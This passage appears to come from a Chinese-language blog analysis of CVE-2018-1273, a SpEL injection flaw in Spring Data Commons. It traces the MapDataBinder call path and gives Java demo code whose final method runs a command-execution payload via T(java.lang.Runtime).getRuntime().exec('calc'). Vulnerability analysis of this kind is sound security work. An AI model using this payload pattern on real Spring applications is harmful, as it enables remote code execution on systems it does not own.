Spring-data-commons(CVE-2018-1273)漏洞分析

.getPropertyDescriptor(owningType.getType(), leafProperty.getSegment()); TypeDescriptor typeDescriptor = TypeDescriptor.nested(methodParameter, 0); }
expression.setValue(context, value);

那麼這個MapMapDataBinder是怎麼被調用起來的呢,我們簡要地說一下 SpringMVC在解析參數這個部分

SpringDataWebConfiguration 類的特性被啟用的時候,會將 ProxyingHandlerMethodArgumentResolver 註冊到容器中去

當SpringMVC得到一個請求的時候,會遍歷容器中註冊的 HandlerMethodArgumentResolver 調用他們的supportsParameter方法。由於我們的參數是一個Interface(接口),那麼 ProxyingHandlerMethodArgumentResolver 就會告訴調用方,它支持這個參數的解析即 supportsParameter 會返回true,但在實際中還會有多個判斷比如該接口不能是java包下的,也不能是org.springframework包下的

ProxyingHandlerMethodArgumentResolver在拿到參數的時候會創建一個MapDataBinder來解析參數MapDataBinder.bind()方法,會連帶進行doBind操作,最終會調用到 setPropertyValue 方法來,最後在 expression.setValue(context, value) 的時候觸發了漏洞

關於Spring的Spel

SPEL全稱Spring Expression Language,簡要翻譯就是Spring自帶的表達式語言,如代碼所示Spring提供以下特性

 public class SpelExample {
public static void main(String[] args) {
SpelExample spelExample=new SpelExample();
spelExample.supportValue();
spelExample.supportClassMethod();
spelExample.supportProperty();
spelExample.supportArray();
spelExample.supportCustomIndex();
spelExample.supportCustomProperty();
spelExample.runPlayLoad();
}
/*
* 支持一個值
* */
public void supportValue(){
SpelExpressionParser parser=new SpelExpressionParser(new SpelParserConfiguration(false, true));
Expression exp = parser.parseExpression("'this is a value'");

System.out.println(exp.getValue()); // this is a value
}
/*
支持執行一個java類的方法
*/
public void supportClassMethod(){
SpelExpressionParser parser=new SpelExpressionParser(new SpelParserConfiguration(false, true));
Expression exp = parser.parseExpression("T(java.lang.Math).random() * 100.0");
System.out.println(exp.getValue());//返回一個隨機數
}
/*
* 支持對目標對象進行賦值
* */
public void supportProperty(){
SpelExpressionParser parser=new SpelExpressionParser(new SpelParserConfiguration(false, true));
Expression exp = parser.parseExpression("name='set my value'");
MockClass mockClass=new MockClass();
exp.getValue(mockClass);
System.out.println(mockClass.name); //set my value
}
/**
* 如果屬性是一個數組也支持
* */
public void supportArray(){
SpelExpressionParser parser=new SpelExpressionParser(new SpelParserConfiguration(false, true));
//T(java.lang.Math.abs(0)) 會返回0
Expression exp = parser.parseExpression("list[0]='list value'");
MockClass mockClass=new MockClass();
exp.getValue(mockClass);
System.out.println(mockClass.list[0]);//list value
}
/**
* 數組的下標也是可以利用表達式求得
* 註釋:這裡就是惡意代碼能執行的關鍵
* */
public void supportCustomIndex(){
SpelExpressionParser parser=new SpelExpressionParser(new SpelParserConfiguration(false, true));
Expression exp = parser.parseExpression("list[T(java.lang.Math).abs(0)]='index is 0'");
MockClass mockClass=new MockClass();
exp.getValue(mockClass);
System.out.println(mockClass.list[0]);//index is 0
}
/*

* 也可以獲取一個數組屬性的指定下標的值
* 這裡就是上述漏洞利用的地方
* */
public void supportCustomProperty(){
SpelExpressionParser parser=new SpelExpressionParser(new SpelParserConfiguration(false, true));
//獲取目標對象list屬性中下標為1的值
Expression exp = parser.parseExpression("list[T(java.lang.Math).abs(1)]");
MockClass mockClass=new MockClass();
System.out.println(exp.getValue(mockClass));// 輸出 1,
}
/**
* 執行我們的代碼,拉起計算器
* */
public void runPlayLoad(){
SpelExpressionParser parser=new SpelExpressionParser(new SpelParserConfiguration(false, true));
//獲取目標對象list屬性中下標為1的值
Expression exp = parser.parseExpression("list[[T(java.lang.Runtime).getRuntime().exec("calc")]]");
MockClass mockClass=new MockClass();
System.out.println(exp.getValue(mockClass));// 輸出 1,
}
class MockClass{
//只有聲明為public才能被賦值
public String name;
public String[] list=new String[]{"0","1"};
}
}

以上就是此次CVE-2018-1273的詳細細節,希望對你有幫助

引用

CVE-2018-1273 RCE with Spring Data Commons 分析報告


分享到:


相關文章: